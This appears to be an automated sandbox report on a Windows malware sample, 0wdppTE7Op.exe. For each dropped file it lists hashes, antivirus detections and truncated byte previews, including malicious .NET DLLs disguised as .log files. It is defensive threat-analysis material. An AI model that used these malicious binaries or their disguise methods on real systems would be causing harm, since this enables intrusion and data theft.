SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yvVrss2Jis

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\z05BMvlZIu

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zSFmIvhRPi

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zdDhGYQSJI

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zjyTfzhj57

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zps7A8zytZ

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\6def4a41fb7c83

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	166
Entropy (8bit):	5.648240321319942
Encrypted:	false
SSDEEP:	3:vcf9gjmURSx9skA/5Ypw5ohD0ktTsfCGdoTcdoSmN7gvEzgPfn:o9gaU0PsxKpbakFsfZdoTcdoLBIJf
MD5:	55DD91A1A71EF89E223FE06F5F4C0453
SHA1:	623D337801CD53F7A0620317265E065977384B9F
SHA-256:	65B7FBEE46AC997D1E78716BFDE7147A35A01FF71129A90C082AA352AFAAA5F0
SHA-512:	78951AB4B914DF850D82FBE84A975A0D89AEABD70EDBB4F8D23C74C228944B5364D6BD7C001201A2129B404E21306B6A8EECFA52D9C882EDFA17F2C3A9B8EB60
Malicious:	false
Preview:	Iky7IXEe5SAHFK04H14wFhXiWMoY39eeZ5DemtbJLPzJ4QV24FL2FdDlMQl6spl5ygrJHWSXZul0sOnG1wexymZ51cRWIfbfo3VYiMvixxdV2N37meF5LxGMHvRoE5P3SFMy3OhpA5AAIDDoiUtnafT0wIRx4Ge1ikCwAE

C:\Users\user\Desktop\CDADXqpE.log

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Joe Sandbox View:	Filename: JNKHlxGvw4.exe, Detection: malicious, Browse Filename: KyC6hVwU8Z.exe, Detection: malicious, Browse Filename: 4si9noTBNw.exe, Detection: malicious, Browse Filename: fnNUIS1KeW.exe, Detection: malicious, Browse Filename: kqq1aAcVUQ.exe, Detection: malicious, Browse Filename: Qsi7IgkrWa.exe, Detection: malicious, Browse Filename: A5EbyKyjhV.exe, Detection: malicious, Browse Filename: hjgesadfseawd.exe, Detection: malicious, Browse Filename: adjthjawdth.exe, Detection: malicious, Browse Filename: qNdO4D18CF.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\DealcvOk.log

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\HqRBAmEs.log

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\JGwsqFZW.log

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\ZoLhjnQK.log

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\eLngwYfk.log

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\jlNXDlep.log

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\lBrNuEzT.log

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\oIpWQWtP.log

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\oZfWghud.log

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Windows\RemotePackages\RemoteApps\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1960960
Entropy (8bit):	7.551693494526309
Encrypted:	false
SSDEEP:	49152:JV9LiEUzT6V+qiRGVcqb++v8PlPwvwOfPGZyM1b2DAWsM:JnezTGriRRq3vGNCJfPOy4b
MD5:	6706364C78566C589C6C45217E852B02
SHA1:	E0BC8A67A91D5EA42C072E63F36F4993D9620C2D
SHA-256:	87FA5D0D7912D7A1295E7D585F41797BC5C76A5EA7D9D7B362FCC20472715F9B
SHA-512:	3AED779886DCB08BAC7EDA66CF4B4ADBCF420AC0DFC702EF645F231CC40F0801CD16B35CAFB12DC5B7125C237DF65DF091366C884CE20158447752507E1023F7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f@Gg................................. ... ....@.. .......................`............@.................................P...K.... .. ....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc... .... ......................@....reloc.......@......................@..B........................H...........l............................................................0..........(.... ........8........E...............N...8....(.... ....~k...{....:....& ....8....(.... ....~k...{....:....& ....8....(.... ....~k...{....9....& ....8y......0..'....... ........8........E....]...........9...*...........8X......... ....~k...{....:....& ....8....8.... ....8....8.... ....~k...{....:....& ....8....~....(5... .... .... ....s....~....(9....... ....~k...{....:B...& ....87.......~

C:\Windows\RemotePackages\RemoteApps\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\RemotePackages\RemoteApps\dc45010803acc5

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	ASCII text, with very long lines (579), with no line terminators
Category:	dropped
Size (bytes):	579
Entropy (8bit):	5.882827606303232
Encrypted:	false
SSDEEP:	12:Wu1L02TyPOBIuTACkC0qdWuoobXvQGkWbgdohpuihHc9PQQWfLBAqHKmGf06:vFUPOBIcA2dlXIG03ikNMBAqHKJfV
MD5:	81A72E8B124CCB540A89CCB46D4F5FDC
SHA1:	8FC668EA5D23B0D5C8EF72ED7B93A868534CC031
SHA-256:	580D303E93F5473C14B22F4F8418873D5F142FDCEFBAE4F025CB6AB1E9532A8F
SHA-512:	6A8C253615A8BF73FB7159CFBEE1865A351646795238B67CF8880B15DCDADED853C638366CA6F69338803ADFFF1045D01A9249BEA5DE341000CE557665E3EB8F
Malicious:	false
Preview:	P94tOYzFNdVIhHKox3ZlU0PhOldyXZbiZY9COW6WNb5Ra9P8KNAs2sOYtXen5BrxCwtJHHab6CX348GOVfnKZsqrJlS01TbMtIPnQF0CxjvzUVdvRQRaXhYTGCAgzjjnlLJwtc8QokWz61WyHgjlBBzLt5hOFUNN9INJLqCyRBvwLiXPpMYSA8lkW8Dx4uLUWI0ynNnaeuTAPCAKhSi255NBgnxNnO3h0bZCsjlcj8xPolVT72QmLSYb4yRAZZxP0wKym8b8qFT7H8X5RdPv8RVhC8H4RlCJKiY2ahr9aR6G9aU6bVs6JBRjamvo0hrEDJwjjfeuwQUqUPimoLc53F9IQzbyvDJ2k2CzouW617K3rkPLDI9oFvL7KnSuDq8sHbGcNt73zgE55GbqjQunDexzqEpAcl2K8bvQex7ULGyjqPBDMlKx5VpmnQvID7aNn36eULLwSZb6pOIaDly0aFOmwImNBzRNql5wThsBZYeg3s6ZHUFbIjwhpUrMi8vcIOQESWHf3xaClssDLNFquzEGyYH90gcbmBYpc2GvNkiVIu66loAV2FsSJJQ4OIpWV9a

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\System32\CSCC8A66A2F354641BDBF8E147B9A2D7E9B.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	1224
Entropy (8bit):	4.435108676655666
Encrypted:	false
SSDEEP:	24:OBxOysuZhN7jSjRzPNnqNdt4+lEbNFjMyi07:COulajfqTSfbNtme
MD5:	931E1E72E561761F8A74F57989D1EA0A
SHA1:	B66268B9D02EC855EB91A5018C43049B4458AB16
SHA-256:	093A39E3AB8A9732806E0DA9133B14BF5C5B9C7403C3169ABDAD7CECFF341A53
